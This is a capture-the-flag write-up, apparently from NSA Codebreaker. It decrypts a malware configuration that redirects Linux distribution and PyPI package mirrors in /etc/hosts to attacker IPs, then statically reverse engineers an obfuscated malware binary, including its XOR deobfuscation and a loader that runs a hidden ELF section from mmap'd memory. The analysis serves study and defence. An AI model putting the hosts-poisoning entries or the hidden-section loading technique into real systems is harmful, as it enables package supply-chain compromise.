My2sZXIL9BrnA2AkQMrZFjmo39O7SHzhl05PAkyQGOkXbxlxB/w+01koZEnH93AS94B5HdlPiN8eAjh83Aipe0kVdv0U3MtNaCoTs4g0HOL6HkqEErmqlYeqAKo2jVJWSBCSEo7bcEf3w3S2CgKv/I+GZrMUKRg6Xvl5sa88Zd3aYagaKJjUcXjARJDV6PLIZIU+lqi2lsRMwShywo8mF7tyyMltNLinfKU0HiYDLJ0fqb2Cj3Eh3ka+zTQe+YYPwV5NGl3aIukD8ILPpaJZ3x5aW0zwl3IK6JDMtnMw8RiS/67GVKZSt67PlhVZ3kKB4hhux7M2SJL+8sUQpXvA9de1zDHSE4qG1Y0KNPPca1ZNPaHZRw+Gj5e0ELAau5qHo21l632in9L8cl/r3Fp9JCGza7G8nrSSuR+BNveAkNkKZO6WSCLX8ht6+PBuPWtzlE+mVCZ2Gp92ru0+KHMV6s0mTaXHNmzlb/+j3pzw+hbkE5b3sbQl+jV/huEOe9Jat/AFFOWwB4AldlQ7EKoAz9NOHlRM9TKZkT9w3cAioHU8dnBQBewS4pz5m4Bms2B125Qrfov6DVSxtzF7/3W0l7qCtR2xAVF5Lx9TrnXX02dM/ttnpjk+aDuyHoM/9sbU+etN2WooIyLYnmtLq9Q7D4yqf7AkUh5w/Q7/DwJ1Z6GkN7R4PjVSvtAhQNyhqtJSvXaXDGsBcIpzkw4TSgnIsTFKnu0Nd/jHRi7m5/TSCKsN7M312Uiuea8jCFt6991xR8/45ZlA0FIP0I63kjebO+PZyuEmFYLkMgSwgTEXqqs0aDgyqGuIkq2DqHnIVe8uYGsy5ZljGeqCJ3qdDcnbsPmJhnG8TjhABWT5NafsISXEpVQqgs08NcOII/dDADNUI9Eoyyup8aKzNPFVVe6NYT3JUL3iqrhzMo82je3D5L1MiF5MwYk6NJtS/8llJ5HLT9wEWBs8FKQKuvaKl7zkJOtAQfm+FCWfpgYbRh+c3ULnJhgNIHvWCb3g6/gxdMmqUDiWrhU37TqxoumHGfc6za+Gnrz9ZalyPyZYp9hwFMK76MdJZLdfxaXjlnmJc57B1swGDJT6P01ZNqTUWy6047OkI8Ac5JrpivUWwHq35eyaVmfthXQUA3jjaOGudXRWS+xb+x11NlnPIO/ETmw2BbGTdBDSzMqbF4w6aVdfbbIOl2mxh4yLEDT012lJ9cxrtBcAgY++8VzNZVU/KA/bX8eTTEYFWKDCYlT9vQEIuWiEjPC01ybGacXpqKXsLqJVDbahTymWWvv7TRmQh1ycfgR/C2HZTfq3YGuFwX/nG3qRiXBulQzJx5rGRaBZsUcvaBYZ8ziFzz4/x+wJb4Hs9vQqJ7Uy7NnP/dJ7+whVfX//6TDwTHXU5VhgvJgbCkpjvxGBdquHr5jCfvgheDk4+48nEaaTx+R2X5GDF347WrITvVlyR0+J2FvCB3hmGPmTQjDyjtfDVI5UtNeo16lMim/t6/j+NkXJ+Sxfv8kNafC+MTIoYpBonWkDSje0XJCeFjxuFcu8TirRrO2vZvR/LBZNeTeRTqIjQxUBiF+EpAc7haRJJ9nDNjoqYtBdr+bO69ASqzN88P39vQ00jbgRWOLjT4IyPVITYiCVetjizcqNUdccQbSwRAv/LdaEew==

I save the contents into a file I name sussy

Now time to mimic the decoding and decryption that the binary does. I just use Python for simplicity

1
import struct
2
import base64
3

4
def decrypt(data: bytes, key: int) -> bytes:
5

6
    decrypted = bytearray(data)
7
    local_14 = key & 0xFFFFFFFF
8
    local_17 = key & 0xFF  # least significant byte
9

10
    for i in range(len(decrypted)):
11
        local_14 = (local_14 + 0x722633ad) & 0xFFFFFFFF  # mimic 32-bit overflow
12
        b = decrypted[i]
13
        decrypted[i] = b ^ ((local_14 >> 13) & 0xFF) ^ (local_14 & 0xFF) ^ local_17
14
        local_17 = b
15

16
    return bytes(decrypted)
17

18
# Path to file
19
filename = "sussy"
20

21
# Step 1: read the file into memory
22
with open(filename, "rb") as f:
23
    file_data = f.read()
24

25
# Step 2: decode Base64
26
decoded_payload = base64.b64decode(file_data)
27

28
# Suppose `decoded_payload` is the base64-decoded bytes
29
key = struct.unpack("<I", decoded_payload[:4])[0]  # little-endian
30
encrypted_data = decoded_payload[4:]
31

32
plaintext = decrypt(encrypted_data, key)
33
print(plaintext.decode(errors="ignore"))
34

35
text = plaintext.decode('utf-8', errors='ignore')
36

37
# Split into tokens (whitespace-separated)
38
tokens = text.split()
39

40
print("-----------------------")
41
print("This would get written to /etc/hosts:\n")
42

43
# Pair each consecutive two tokens
44
for i in range(0, len(tokens), 2):
45
    if i + 1 < len(tokens):
46
        ip = tokens[i]
47
        host = tokens[i + 1]
48
        print(f"{ip} {host}")

If we run this script, we get:

1
203.0.113.245 http.kali.org 203.0.113.245 security.ubuntu.com 203.0.113.41 mirrors.alpinelinux.org 203.0.113.32 pypi.io 203.0.113.245 archive.ubuntu.org 203.0.113.245 archive.archlinux.org 203.0.113.245 cache.nixos.org 203.0.113.41 mirrors.rpmfusion.org 203.0.113.245 dl-cdn.alpinelinux.org 203.0.113.245 packages.linuxmint.com 203.0.113.245 ftp.us.debian.org 203.0.113.32 files.pythonhosted.org 203.0.113.32 pypi.org 203.0.113.41 mirrors.fedoraproject.org 203.0.113.41 xmirror.voidlinux.org 203.0.113.245 dl.rockylinux.org 203.0.113.245 download1.rpmfusion.org 203.0.113.41 mirrors.rockylinux.org 203.0.113.245 download.opensuse.org 203.0.113.245 security.ubuntu.org 203.0.113.245 archive.ubuntu.com 203.0.113.245 ports.ubuntu.org 203.0.113.245 distfiles.gentoo.org 203.0.113.245 ports.ubuntu.com 203.0.113.32 pypi.python.org 203.0.113.41 mirror.stream.centos.org 203.0.113.41 mirror.rackspace.com 203.0.113.41 mirrors.opensuse.org 203.0.113.245 deb.debian.org 203.0.113.245 security.debian.org 203.0.113.245 repo-default.voidlinux.org 203.0.113.245 repo.almalinux.org 203.0.113.245 dl.fedoraproject.org 203.0.113.245 repos.opensuse.org 203.0.113.41 mirrors.kernel.org 203.0.113.41 geo.mirror.pkgbuild.com 203.0.113.245 us.archive.ubuntu.com
2
-----------------------
3
This would get written to /etc/hosts:
4

5
203.0.113.245 http.kali.org
6
203.0.113.245 security.ubuntu.com
7
203.0.113.41 mirrors.alpinelinux.org
8
203.0.113.32 pypi.io
9
203.0.113.245 archive.ubuntu.org
10
203.0.113.245 archive.archlinux.org
11
203.0.113.245 cache.nixos.org
12
203.0.113.41 mirrors.rpmfusion.org
13
203.0.113.245 dl-cdn.alpinelinux.org
14
203.0.113.245 packages.linuxmint.com
15
203.0.113.245 ftp.us.debian.org
16
203.0.113.32 files.pythonhosted.org
17
203.0.113.32 pypi.org
18
203.0.113.41 mirrors.fedoraproject.org
19
203.0.113.41 xmirror.voidlinux.org
20
203.0.113.245 dl.rockylinux.org
21
203.0.113.245 download1.rpmfusion.org
22
203.0.113.41 mirrors.rockylinux.org
23
203.0.113.245 download.opensuse.org
24
203.0.113.245 security.ubuntu.org
25
203.0.113.245 archive.ubuntu.com
26
203.0.113.245 ports.ubuntu.org
27
203.0.113.245 distfiles.gentoo.org
28
203.0.113.245 ports.ubuntu.com
29
203.0.113.32 pypi.python.org
30
203.0.113.41 mirror.stream.centos.org
31
203.0.113.41 mirror.rackspace.com
32
203.0.113.41 mirrors.opensuse.org
33
203.0.113.245 deb.debian.org
34
203.0.113.245 security.debian.org
35
203.0.113.245 repo-default.voidlinux.org
36
203.0.113.245 repo.almalinux.org
37
203.0.113.245 dl.fedoraproject.org
38
203.0.113.245 repos.opensuse.org
39
203.0.113.41 mirrors.kernel.org
40
203.0.113.41 geo.mirror.pkgbuild.com
41
203.0.113.245 us.archive.ubuntu.com

There we go! The answer is

1
203.0.113.245 http.kali.org
2
203.0.113.245 security.ubuntu.com
3
203.0.113.41 mirrors.alpinelinux.org
4
203.0.113.32 pypi.io
5
203.0.113.245 archive.ubuntu.org
6
203.0.113.245 archive.archlinux.org
7
203.0.113.245 cache.nixos.org
8
203.0.113.41 mirrors.rpmfusion.org
9
203.0.113.245 dl-cdn.alpinelinux.org
10
203.0.113.245 packages.linuxmint.com
11
203.0.113.245 ftp.us.debian.org
12
203.0.113.32 files.pythonhosted.org
13
203.0.113.32 pypi.org
14
203.0.113.41 mirrors.fedoraproject.org
15
203.0.113.41 xmirror.voidlinux.org
16
203.0.113.245 dl.rockylinux.org
17
203.0.113.245 download1.rpmfusion.org
18
203.0.113.41 mirrors.rockylinux.org
19
203.0.113.245 download.opensuse.org
20
203.0.113.245 security.ubuntu.org
21
203.0.113.245 archive.ubuntu.com
22
203.0.113.245 ports.ubuntu.org
23
203.0.113.245 distfiles.gentoo.org
24
203.0.113.245 ports.ubuntu.com
25
203.0.113.32 pypi.python.org
26
203.0.113.41 mirror.stream.centos.org
27
203.0.113.41 mirror.rackspace.com
28
203.0.113.41 mirrors.opensuse.org
29
203.0.113.245 deb.debian.org
30
203.0.113.245 security.debian.org
31
203.0.113.245 repo-default.voidlinux.org
32
203.0.113.245 repo.almalinux.org
33
203.0.113.245 dl.fedoraproject.org
34
203.0.113.245 repos.opensuse.org
35
203.0.113.41 mirrors.kernel.org
36
203.0.113.41 geo.mirror.pkgbuild.com
37
203.0.113.245 us.archive.ubuntu.com

Submitting this solves this task!

Response:

Good work! Let’s head back to NSA headquarters to continue with this analysis.

Task 4 - Unpacking Insight - (Malware Analysis)

Once back at NSA the team contacts the NSA liaison at FBI to see if they have any information about what was discovered in the configuration data. FBI informs us that the facility registered to host that domain is on a watchlist for suspected criminal activity. With this tip, the FBI acquires a warrant and raids the location. Inside the facility, the server is discovered along with a suspect. The suspect is known to the FBI as a low-level malware actor. During questioning, they disclose that they are providing a service to host malware for various cybercrime groups, but recently they were contacted by a much more secretive and sophisticated customer. While they don’t appear to know anything about who is paying for the service, they provide the FBI with the malware that was hosted.

Back at NSA, you are provided with a copy of the file. There is a lot of high level interest in uncovering who facilitated this attack. The file appears to be obfuscated.

You are tasked to work on de-obfuscating the file and report back to the team.

Downloads: obfuscated file (suspicious)

Prompt: Submit the file path the malware uses to write a file

Solve:

This one was probably my favorite task.

If you read my other write ups (well, just my NSA Codebreaker 2024 write up really), you know that I usually use a combination of Ghidra and Binja. For this task, Binja ended up being more useful at first (or at least, sort of easier to read the disassembly compared to what Ghidra was giving me), and then I ended off the task with Ghidra.

First, we can load the binary, suspicious, into Binja and start looking at what we’re working with

I do just want to preface that I did this entire task statically. It is possible to do it dynamically, or a little bit of both, but the binary has multiple debugger checks, and to just avoid dealing with any of that, I went with a purely static approach. Also, I figured it’d be safer considering the fact that the binary is very likely malware

Note that the below disassembly snippets already show renamed function, variable, and label names as a result of my analysis

Beginning with main, immediately we see some really weird stuff going on

1
00002680  int32_t main(int32_t argc, char** argv, char** envp)
2

3
000026b6      void* var_190
4
000026b6      int64_t* r12 = &var_190
5
000026c2      double zmm1
6
000026c2      double var_228 = zmm1
7
000026d1      void* fsbase
8
000026d1      int64_t rax = *(fsbase + 0x28)
9
000026e4      int128_t obfuscated_blob1
10
000026e4      __builtin_memcpy(dest: &obfuscated_blob1, src: "\x4f\x5e\x0c\x5a\x17\x17\x07\x5a\x00\x5b\x0d\x42\x40\x0c\x1a\x15\x57\x5b\x0b\x56\x05\x4d\x0c\x5c\x08\x00", n: 0x1a)
11
000026fb      int32_t s
12
000026fb      __builtin_memset(&s, c: 0, n: 0x3c)
13
00002776      int128_t brainrot1
14
00002776      __builtin_strcpy(dest: &brainrot1, src: "mrbeast_really_said_lets_give_random_people_skibidi_toilet_merchandise_for_free")
15
00002786      char const* const var_158 = "sudoers"
16
000027ce      int128_t obfuscated_blob2
17
000027ce      __builtin_memcpy(dest: &obfuscated_blob2, src: "\x43\x1b\x0c\x0c\x15\x5d\x17\x30\x1c\x16\x15\x1e\x19\x1a\x2b\x1c\x13\x1a\x4a\x38\x00\x0a\x16\x12\x33\x00", n: 0x1a)
18
000027ee      int128_t brainrot2
19
000027ee      __builtin_strcpy(dest: &brainrot2, src: "speed_running_through_ohio_while_the_skibidi_toilet_song_plays_on_repeat")
20
0000283e      int128_t obfuscated_blob3
21
0000283e      __builtin_memcpy(dest: &obfuscated_blob3, src: "\x5d\x12\x16\x16\x3b\x2c\x17\x16\x1b\x1c\x0c\x31\x05\x2a\x12\x0e\x17\x1d\x00", n: 0x13)
22
0000285c      int32_t var_168[0x4] = _mm_unpacklo_epi64(zx.o("users"), "temp_users")
23
00002864      int32_t* rbx = &s
24
00002877      int32_t result
25
00002877      char* var_1a0
26
00002877      int64_t var_170
27
00002877      int64_t r14_1
28

29
...
30
...
31
A lot more code after this
32
...
33
...

This binary is obfuscated alright, but it seems to be obfuscated with brainrot.

There’s a lot of red herrings here (the main function is pretty long), which is expected given the obfuscation. I’ll just skip to the important parts.

Firstly, in the main function, there’s some weird sections like below

1
0000311d          r14_1 = (*"to griddy dance because this man…")[0].q
2
00003124          r15_3 = rax_44
3
00003124
4
0000312a          if (rax_44 == 0)
5
0000312a              goto label_327e
6
0000312a
7
0000314e          *rax_44 = obfuscated_blob3
8
00003158          *(r15_3 + 0xf) = obfuscated_blob3:0xf.d
9
00003158
10
00003161          if (r14_1(&brainrot2, 0x49, r15_3, 0x13) != 0)
11
00003161              goto cooked

Firstly, since you’ll see it a lot later on, cooked is a label that essentially just contains some code that ends / exits the program. Whenever the binary reaches some sort of fail state, or you fail a debugger check, it jumps to this label.

Ignoring my renaming of some labels, variables, and functions, the interesting thing is r14_1 being assigned to what looks to be a value extracted from the memory of a brainrot string literal.

1
r14_1 = (*"to griddy dance because this man…")[0].q

Then that is used later on as a function call

1
if (r14_1(&brainrot2, 0x49, r15_3, 0x13) != 0)
2
    goto cooked

Although Binja presents the value as coming from a string literal, the code is actually reinterpreting the first 8 bytes of that memory as a function pointer. This function pointer is then invoked indirectly, effectively hiding the real function being called and complicating our static analysis.

Well, what exactly is the function it’s trying to call?

We can piece that together from some context clues. My variable renaming sort of spoils it, but we can see that one of the parameters is &brainrot2

Also, r15_3 is assigned to what I call an obfuscated blob.

These can actually be seen at the beginning of main that I showed earlier

1
000026e4      int128_t obfuscated_blob1
2
000026e4      __builtin_memcpy(dest: &obfuscated_blob1, src: "\x4f\x5e\x0c\x5a\x17\x17\x07\x5a\x00\x5b\x0d\x42\x40\x0c\x1a\x15\x57\x5b\x0b\x56\x05\x4d\x0c\x5c\x08\x00", n: 0x1a)
3
000026fb      int32_t s
4
000026fb      __builtin_memset(&s, c: 0, n: 0x3c)
5
00002776      int128_t brainrot1
6
00002776      __builtin_strcpy(dest: &brainrot1, src: "mrbeast_really_said_lets_give_random_people_skibidi_toilet_merchandise_for_free")
7
00002786      char const* const var_158 = "sudoers"
8
000027ce      int128_t obfuscated_blob2
9
000027ce      __builtin_memcpy(dest: &obfuscated_blob2, src: "\x43\x1b\x0c\x0c\x15\x5d\x17\x30\x1c\x16\x15\x1e\x19\x1a\x2b\x1c\x13\x1a\x4a\x38\x00\x0a\x16\x12\x33\x00", n: 0x1a)
10
000027ee      int128_t brainrot2
11
000027ee      __builtin_strcpy(dest: &brainrot2, src: "speed_running_through_ohio_while_the_skibidi_toilet_song_plays_on_repeat")
12
0000283e      int128_t obfuscated_blob3
13
0000283e      __builtin_memcpy(dest: &obfuscated_blob3, src: "\x5d\x12\x16\x16\x3b\x2c\x17\x16\x1b\x1c\x0c\x31\x05\x2a\x12\x0e\x17\x1d\x00", n: 0x13)

Basically, there are variables containing brainrot strings, and variables containing what appear to be obfuscated blobs

Whatever function is being called, my assumption was that it is somehow using the brainrot strings to deobfuscate the obfuscated blobs

Going through the functions in Binja, we are able to find a likely culprit. I discerned this since the function signature matched, and also, it’s pretty obvious that it’s performing some kind of XOR logic

I called the function potential_deobf

1
000033a0  int64_t potential_deobf(int64_t arg1, int64_t arg2, char* arg3, int64_t arg4)
2

3
000033b2      if (arg1 == 0 || arg3 == 0)
4
000033ed          return 1
5
000033ed
6
000033bc      int64_t i = 0
7
000033bc
8
000033c2      if (arg4 != 1)
9
000033e0          do
10
000033d5              arg3[i] ^= *(arg1 + modu.dp.q(0:i, arg2 - 1))
11
000033d9              i += 1
12
000033e0          while (arg4 - 1 != i)
13
000033e0
14
000033e4      return 0

So we can use this function to try to deobfuscate some of those blobs.

Also just as a note, the first blob for some reason doesn’t use this function, and the deobfuscation logic is just done completely in main

1
00002ca3          int128_t obfuscated_blob1_1 = obfuscated_blob1
2
00002cb4          *rax_19 = obfuscated_blob1
3
00002cb7          *(rax_19 + 0xa) = obfuscated_blob1_1
4
00002cbf          uint128_t zmm0_2 = *rax_19 ^ xor_key1[0].o
5
00002cc7          *(rax_19 + 0x18) ^= 0x66
6
00002ccb          *rax_19 = zmm0_2
7
00002cd7          rax_19[1].q = (zx.o(rax_19[1].q) ^ zx.o(0x3365396432623736)).q

A little weird, but we can work with it. I ended up making the below Python script

1
### FOR BLOB 1 ###
2

3
def xor_deobfuscate(data_bytes, key_bytes):
4
    return bytes([b ^ key_bytes[i % len(key_bytes)] for i, b in enumerate(data_bytes)])
5

6
hex_blob = b"\x4f\x5e\x0c\x5a\x17\x17\x07\x5a\x00\x5b\x0d\x42\x40\x0c\x1a\x15\x57\x5b\x0b\x56\x05\x4d\x0c\x5c\x08\x00"
7

8
# Key for the first blob
9
xor_key = b"a7b3c9d2e8f15a4cO^"
10

11
# Deobfuscate:
12
deobfuscated = xor_deobfuscate(hex_blob, xor_key)
13
print(deobfuscated.decode('utf-8', errors='replace'))  # Or just print(deobfuscated) for raw bytes
14

15
## FOR BLOB 2 AND 3 ###
16

17
def rolling_xor_deobfuscate(key, key_len, data, data_len):
18
    out = bytearray(data)
19
    for i in range(data_len - 1):  # matches `if (arg4 != 1)` logic
20
        out[i] ^= key[i % (key_len - 1)]
21
    return out
22

23
# Blob 2
24
key = b"mrbeast_really_said_lets_give_random_people_skibidi_toilet_merchandise_for_free"
25
key_len = 0x50
26
blob2 = b"\x43\x1b\x0c\x0c\x15\x5d\x17\x30\x1c\x16\x15\x1e\x19\x1a\x2b\x1c\x13\x1a\x4a\x38\x00\x0a\x16\x12\x33\x00"
27
data_len = 0x1a
28

29
# Deobfuscate
30
result = rolling_xor_deobfuscate(key, key_len, blob2, data_len)
31
print(result.decode("utf-8", errors="replace"))
32

33
# Blob 3
34
key = b"speed_running_through_ohio_while_the_skibidi_toilet_song_plays_on_repeat"
35
key_len = len(key)
36
blob3 = b"\x5d\x12\x16\x16\x3b\x2c\x17\x16\x1b\x1c\x0c\x31\x05\x2a\x12\x0e\x17\x1d\x00"
37
data_len = len(blob3)
38

39
# Deobfuscate
40
result = rolling_xor_deobfuscate(key, key_len, blob3, data_len)
41
print(result.decode('utf-8', errors='replace'))

Running this results in:

1
.init.checksum.vjag~oel2
2
.init.constructors.global
3
.bss_secure_buffer

Ok interesting, these blobs are deobfuscating into what appears to be the names of sections of the program itself

Understanding where the Deobfuscation Comes From

Before we move on, one thing that was puzzling was that the deobfuscation function has no references, both in Binja and Ghidra. I knew the malware was trying to hide how it was calling it, but it was odd that I couldn’t find how exactly the malware was getting around to calling it in the first place. Ghidra ended up helping me figure out how the malware is doing this, and what the .init.checksum.vjag~oel2 section is used for.

Ghidra disassembled the binary differently, and instead of treating the function calls to what we assume to be the deobfuscation function by treating the first 8 bytes of a string as a memory address, as shown below

1
r14_1 = (*"to griddy dance because this man…")[0].q
2

3
...
4

5
if (r14_1(&brainrot2, 0x49, r15_3, 0x13) != 0)
6
    goto cooked

It treats it as a DAT which is used as a function pointer. In our case it is named DAT_001231c8

1
pcVar4 = DAT_001231c8;
2
if (__ptr == (undefined8 *)0x0) goto LAB_0010327e;
3
*__ptr = CONCAT44(uStack_144,local_148);
4
__ptr[1] = CONCAT44(uStack_13c,uStack_140);
5
*(uint *)((long)__ptr + 0xf) = CONCAT31((undefined3)uStack_138,uStack_13c._3_1_);
6
iVar8 = (*pcVar4)(&local_e8,0x49,__ptr,0x13);

If we look at DAT_001231c8 in Ghidra to see what address it stores so that we can figure out what function it’s pointing to, it’s just all 0 bytes. This means it gets filled in at runtime

We find that DAT_001231c8 gets filled in with a function that I name fill_in_DAT, which is called in main

1
if ((iVar8 != 0) || (iVar8 = fill_in_DAT(*param_2,__ptr,&DAT_001231c8,&local_170), iVar8 != 0))

1
undefined4 fill_in_DAT(undefined8 param_1,undefined8 param_2,void **param_3,undefined8 *param_4)
2

3
{
4
  undefined8 uVar1;
5
  long lVar2;
6
  int iVar3;
7
  void *__dest;
8
  undefined4 uVar4;
9
  void *__ptr;
10
  long in_FS_OFFSET;
11
  FILE *local_50;
12
  void *local_48;
13
  undefined8 local_40;
14
  long local_38;
15
  long local_30;
16

17
  local_30 = *(long *)(in_FS_OFFSET + 0x28);
18
  local_50 = (FILE *)0x0;
19
  local_48 = (void *)0x0;
20
  local_40 = 0;
21
  local_38 = 0;
22
  iVar3 = open_file(&local_50,"r",param_1);
23
  if ((iVar3 == 0) &&
24
     (iVar3 = read_into_memory(local_50,&local_48,&local_40), __ptr = local_48, iVar3 == 0)) {
25
    uVar4 = 1;
26
    iVar3 = FUN_00105830(param_2,local_48,local_40,&local_38);
27
    lVar2 = local_38;
28
    if ((iVar3 != 0) ||
29
       ((local_38 == 0 ||
30
        (__dest = mmap((void *)0x0,*(size_t *)(local_38 + 0x20),3,0x22,-1,0), __ptr = local_48,
31
        __dest == (void *)0xffffffffffffffff)))) goto LAB_00105982;
32
    memcpy(__dest,(void *)(*(long *)(lVar2 + 0x18) + (long)local_48),*(size_t *)(lVar2 + 0x20));
33
    iVar3 = mprotect(__dest,*(size_t *)(lVar2 + 0x20),5);
34
    if (iVar3 == 0) {
35
      uVar1 = *(undefined8 *)(lVar2 + 0x20);
36
      *param_3 = __dest;
37
      *param_4 = uVar1;
38
      uVar4 = 0;
39
      __ptr = local_48;
40
      goto LAB_00105982;
41
    }
42
    munmap(__dest,*(size_t *)(lVar2 + 0x20));
43
  }
44
  uVar4 = 1;
45
  __ptr = local_48;
46
LAB_00105982:
47
  if (__ptr != (void *)0x0) {
48
    free(__ptr);
49
  }
50
  if (local_50 != (FILE *)0x0) {
51
    fclose(local_50);
52
  }
53
  if (local_30 != *(long *)(in_FS_OFFSET + 0x28)) {
54
                    /* WARNING: Subroutine does not return */
55
    __stack_chk_fail();
56
  }
57
  return uVar4;
58
}

There is also a function called in here, FUN_00105830, which validates to see if the input is an ELF and searches for a certain section based on its name. The section name it is looking for is passed in as param_2 to fill_in_DAT, and is param_1 for FUN_00105830

1
undefined4 FUN_00105830(char *param_1,int *param_2,undefined8 param_3,uint **param_4)
2

3
{
4
  ushort uVar1;
5
  long lVar2;
6
  long lVar3;
7
  int iVar4;
8
  uint *puVar5;
9

10
  if (param_2 == (int *)0x0 || param_4 == (uint **)0x0) {
11
    return 1;
12
  }
13
  if (param_1 == (char *)0x0) {
14
    return 1;
15
  }
16
  if ((((*param_2 == 0x464c457f) && (*(char *)(param_2 + 1) == '\x02')) &&
17
      (lVar2 = *(long *)(param_2 + 10), lVar2 != 0)) &&
18
     (uVar1 = *(ushort *)(param_2 + 0xf), uVar1 != 0)) {
19
    lVar3 = *(long *)((long)param_2 + (ulong)*(ushort *)((long)param_2 + 0x3e) * 0x40 + lVar2 + 0x18
20
                     );
21
    if (uVar1 != 1) {
22
      puVar5 = (uint *)((long)param_2 + lVar2 + 0x40);
23
      do {
24
        iVar4 = strcmp((char *)((ulong)*puVar5 + lVar3 + (long)param_2),param_1);
25
        if (iVar4 == 0) {
26
          *param_4 = puVar5;
27
          return 0;
28
        }
29
        puVar5 = puVar5 + 0x10;
30
      } while (puVar5 != (uint *)((long)param_2 + (ulong)(uVar1 - 2) * 0x40 + lVar2 + 0x80));
31
      return 1;
32
    }
33
  }
34
  return 1;
35
}

So what fill_in_DAT is doing is that it reads an ELF file into memory, searches its section headers for a specific section name (with FUN_00105830), maps the corresponding bytes into executable memory, and stores a function pointer to the start of that mapped region. In our case, that function pointer is DAT_001231c8

The ELF that it is searching through to find the section is itself. If we look at the call to fill_in_DAT again

1
fill_in_DAT(*param_2,__ptr,&DAT_001231c8,&local_170)

*param_2 is what is passed in as the file to search through. This is being called in main, and param_2 in main is the array argv, and argv[0] is the name of the executable itself, which is what the pointer *param_2 is pointing to

Now the question is what is the section? Well, it’s .init.checksum.vjag~oel2.

__ptr is the second parameter, which we already stated is the section it is looking for. Ghidra makes the instructions look a little more hectic so I won’t paste it here, but __ptr essentially contains the contents of the first obfuscated blob deobfuscation that we looked at in Binja

1
00002ca3          int128_t obfuscated_blob1_1 = obfuscated_blob1
2
00002cb4          *rax_19 = obfuscated_blob1
3
00002cb7          *(rax_19 + 0xa) = obfuscated_blob1_1
4
00002cbf          uint128_t zmm0_2 = *rax_19 ^ xor_key1[0].o
5
00002cc7          *(rax_19 + 0x18) ^= 0x66
6
00002ccb          *rax_19 = zmm0_2
7
00002cd7          rax_19[1].q = (zx.o(rax_19[1].q) ^ zx.o(0x3365396432623736)).q

So yes, the section is .init.checksum.vjag~oel2

Okay, well, that’s not entirely true. It’s actally .init.checksum.validation, it appears that our deobfuscation wasn’t completely perfect, but looking at the sections in Ghidra (or readelf), that’s the only section that makes sense considering our partial deobfuscation.

Now it may sound weird to have a function pointer pointing to executable memory containing the data at some random section rather than a traditional function, but this works if the section begins with executable code. When the function pointer is invoked, execution starts at the first instruction that was in the section.

Well, is there executable code at .init.checksum.validation?

We have to force Ghidra to disassemble the instructions, but indeed, .init.checksum.validation begins with

1
undefined8 UndefinedFunction_0012309d(long param_1,long param_2,long param_3,long param_4)
2

3
{
4
  undefined8 uVar1;
5
  int iStack_c;
6

7
  if ((param_1 == 0) || (param_3 == 0)) {
8
    uVar1 = 1;
9
  }
10
  else {
11
    for (iStack_c = 0; (ulong)(long)iStack_c < param_4 - 1U; iStack_c = iStack_c + 1) {
12
      *(byte *)(param_3 + iStack_c) =
13
           *(byte *)(param_3 + iStack_c) ^
14
           *(byte *)(param_1 + (ulong)(long)iStack_c % (param_2 - 1U));
15
    }
16
    uVar1 = 0;
17
  }
18
  return uVar1;
19
}

I showed it before in Binja, but we can also find the deobfuscation function in Ghidra. Let’s compare this function from .init.checksum.validation to that

1
undefined8 deobfuscate(long param_1,long param_2,long param_3,long param_4)
2

3
{
4
  ulong uVar1;
5

6
  if ((param_1 != 0) && (param_3 != 0)) {
7
    uVar1 = 0;
8
    if (param_4 != 1) {
9
      do {
10
        *(byte *)(param_3 + uVar1) =
11
             *(byte *)(param_3 + uVar1) ^ *(byte *)(param_1 + uVar1 % (param_2 - 1U));
12
        uVar1 = uVar1 + 1;
13
      } while (param_4 - 1U != uVar1);
14
    }
15
    return 0;
16
  }
17
  return 1;
18
}

Notice anything? They’re essentially exactly the same. So this is why we couldn’t find any references to the deobfuscation function we found. It’s because the malware is initializing a function pointer that points to executable memory containing a copy of the .init.checksum.validation section’s contents, which contains the actual deobfuscation function the malware uses

This also explains why the first obfuscated blob was deobfuscated in main, instead of using the deobfuscation function. It’s because the pointer to the deobfuscation function hadn’t been set up yet. After the function pointer is set up, the deobfuscation function is utilized for all subsequent use cases.

Now another question that might arise is why have both. Why have a deobfuscation function for everyone to see, but is never invoked, and then have the exact same function hidden in .init.checksum.validation. Perhaps it was intentional by the devs to help static analyzers of this malware, or maybe it was a compiler artifact

Regardless of the reason, now we understand how exactly the malware is deobfuscating, and the purpose of the .init.checksum.validation section. Now, on to understanding the purpose of the next two sections.

Rev harder

Firstly, we find a function that appears to extract section contents of a program based on the section name

1
00005aa0  uint64_t extract_resource_from_file(char* arg1, char* arg2, int64_t* arg3,
2
00005aa0      uint64_t* arg4)
3

4
00005ac5      void* fsbase
5
00005ac5      int64_t rax = *(fsbase + 0x28)
6
00005ada      FILE* s
7
00005ada      __builtin_memset(&s, c: 0, n: 0x20)
8
00005b08      int32_t rbx_1
9
00005b08      void* r13
10
00005b08      void* var_58
11
00005b08
12
00005b08      if (open_wrapper(&s, "r", arg1) == 0)
13
00005b67          int64_t var_50
14
00005b67          int32_t rax_5 = sub_5720(s, &var_58, &var_50)
15
00005b6c          r13 = var_58
16
00005b6c
17
00005b73          if (rax_5 != 0)
18
00005bd8              rbx_1 = 1
19
00005b73          else
20
00005b85              void* var_48
21
00005b85              int32_t rax_6 = locate_elf_section(arg2, r13, var_50.b, &var_48)
22
00005b8a              rbx_1 = rax_6
23
00005b8a
24
00005b8e              if (rax_6 != 0)
25
00005bd8                  rbx_1 = 1
26
00005b8e              else
27
00005b90                  void* r15_1 = var_48
28
00005b90
29
00005b98                  if (r15_1 == 0)
30
00005bd8                      rbx_1 = 1
31
00005b98                  else
32
00005b9a                      uint64_t size = *(r15_1 + 0x20)
33
00005ba3                      *arg4 = size
34
00005baa                      int64_t rax_7 = calloc(nmemb: 1, size)
35
00005baf                      *arg3 = rax_7
36
00005baf
37
00005bb9                      if (rax_7 == 0)
38
00005bd8                          rbx_1 = 1
39
00005bb9                      else
40
00005bc8                          __memcpy_chk(rax_7, *(r15_1 + 0x18) + r13, size, size)
41
00005b08      else
42
00005b0a          r13 = var_58
43
00005b0f          rbx_1 = 1
44
00005b0f
45
00005b17      if (r13 != 0)
46
00005b1c          free(ptr: r13)
47
00005b1c
48
00005b21      FILE* fp = s
49
00005b21
50
00005b29      if (fp != 0)
51
00005b2b          fclose(fp)
52
00005b2b
53
00005b35      *(fsbase + 0x28)
54
00005b35
55
00005b3e      if (rax == *(fsbase + 0x28))
56
00005b54          return zx.q(rbx_1)
57
00005b54
58
00005be2      __stack_chk_fail()
59
00005be2      noreturn

The program it is extracting these sections from is itself, because if we look at the call to the function, similar to the fill_in_DAT function, it passes a pointer to argv, which is argv[0]. In otherwords, the name of the program itself

1
if (extract_resource_from_file(*argv, r15_3, &var_180, &var_178) != 0)

